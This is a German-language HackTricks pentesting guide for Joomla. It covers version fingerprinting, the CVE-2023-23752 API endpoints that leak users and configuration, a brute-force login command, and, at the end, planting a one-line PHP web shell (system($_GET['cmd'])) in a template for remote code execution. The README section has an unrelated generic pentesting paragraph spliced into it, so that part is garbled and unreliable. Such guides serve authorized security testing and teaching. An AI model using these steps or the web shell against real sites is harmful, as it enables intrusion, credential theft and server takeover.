hacktricks/network-services-pentesting/pentesting-web/joomla.md

6.3 KiB

Joomla

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Joomla-Statistiken

Joomla sammelt einige anonyme Nutzungsstatistiken wie die Aufschlüsselung der Joomla-, PHP- und Datenbankversionen sowie der verwendeten Betriebssysteme auf Joomla-Installationen. Diese Daten können über ihre öffentliche API abgefragt werden.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Enumeration

Entdeckung/Fußabdruck

  • Überprüfen Sie die Meta
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt

Joomla

Joomla-Website-Pentesting

Joomla ist ein beliebtes Content-Management-System (CMS), das für Websites verwendet wird. Beim Pentesting von Joomla-Websites gibt es einige wichtige Punkte zu beachten:

  1. Versionsüberprüfung: Stellen Sie sicher, dass Sie die genaue Joomla-Version identifizieren, da ältere Versionen möglicherweise anfällig für bekannte Schwachstellen sind.

  2. Bruteforce-Angriffe: Führen Sie Bruteforce-Angriffe auf die Login-Seite durch, um schwache Passwörter zu identifizieren.

  3. SQL-Injection: Überprüfen Sie die Website auf mögliche SQL-Injection-Schwachstellen, insbesondere in Formularen oder Suchfunktionen.

  4. Datei-Upload: Testen Sie die Website auf Schwachstellen im Datei-Upload-Prozess, um zu verhindern, dass bösartige Dateien hochgeladen werden.

  5. Plug-in-Schwachstellen: Überprüfen Sie alle installierten Plug-ins auf bekannte Sicherheitslücken und aktualisieren Sie sie regelmäßig.

  6. Verzeichnis-Traversal: Stellen Sie sicher, dass die Website nicht anfällig für Verzeichnis-Traversal-Angriffe ist, bei denen ein Angreifer auf Dateien außerhalb des Webverzeichnisses zugreifen kann.

Durch die Durchführung dieser Tests können Sie die Sicherheit einer Joomla-Website verbessern und potenzielle Schwachstellen identifizieren, die behoben werden müssen.

1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Version

  • In /administrator/manifests/files/joomla.xml können Sie die Version sehen.
  • In /language/en-GB/en-GB.xml können Sie die Version von Joomla erhalten.
  • In plugins/system/cache/cache.xml können Sie eine ungefähre Version sehen.
droopescan scan joomla --url http://joomla-site.local/

In 80,443 - Pentesting Web Methodology ist ein Abschnitt über CMS-Scanner, die Joomla scannen können.

API Unauthenticated Information Disclosure:

Versionen von 4.0.0 bis 4.2.7 sind anfällig für unauthentifizierte Informationsfreigabe (CVE-2023-23752), die Anmeldeinformationen und andere Informationen preisgeben wird.

  • Benutzer: http://<host>/api/v1/users?public=true

  • Konfigurationsdatei: http://<host>/api/index.php/v1/config/application?public=true

MSF-Modul: scanner/http/joomla_api_improper_access_checks oder Ruby-Skript: 51334

Brute-Force

Sie können dieses Skript verwenden, um versuchen, das Login per Brute-Force zu knacken.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

Wenn es Ihnen gelungen ist, Admin-Anmeldeinformationen zu erhalten, können Sie RCE darin durch das Hinzufügen eines Schnipsels von PHP-Code erlangen, um RCE zu erlangen. Dies können wir tun, indem wir eine Vorlage anpassen.

  1. Klicken Sie auf Templates unten links unter Configuration, um das Vorlagenmenü aufzurufen.
  2. Klicken Sie auf einen Vorlagennamen. Wählen wir protostar unter dem Template-Spaltenheader aus. Dadurch gelangen wir zur Seite Templates: Customise.
  3. Klicken Sie schließlich auf eine Seite, um den Seitenquelltext aufzurufen. Wählen wir die Seite error.php aus. Wir fügen einen PHP-Einzeller hinzu, um Codeausführung zu erlangen, wie folgt:
  4. system($_GET['cmd']);
  5. Speichern & Schließen
  6. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id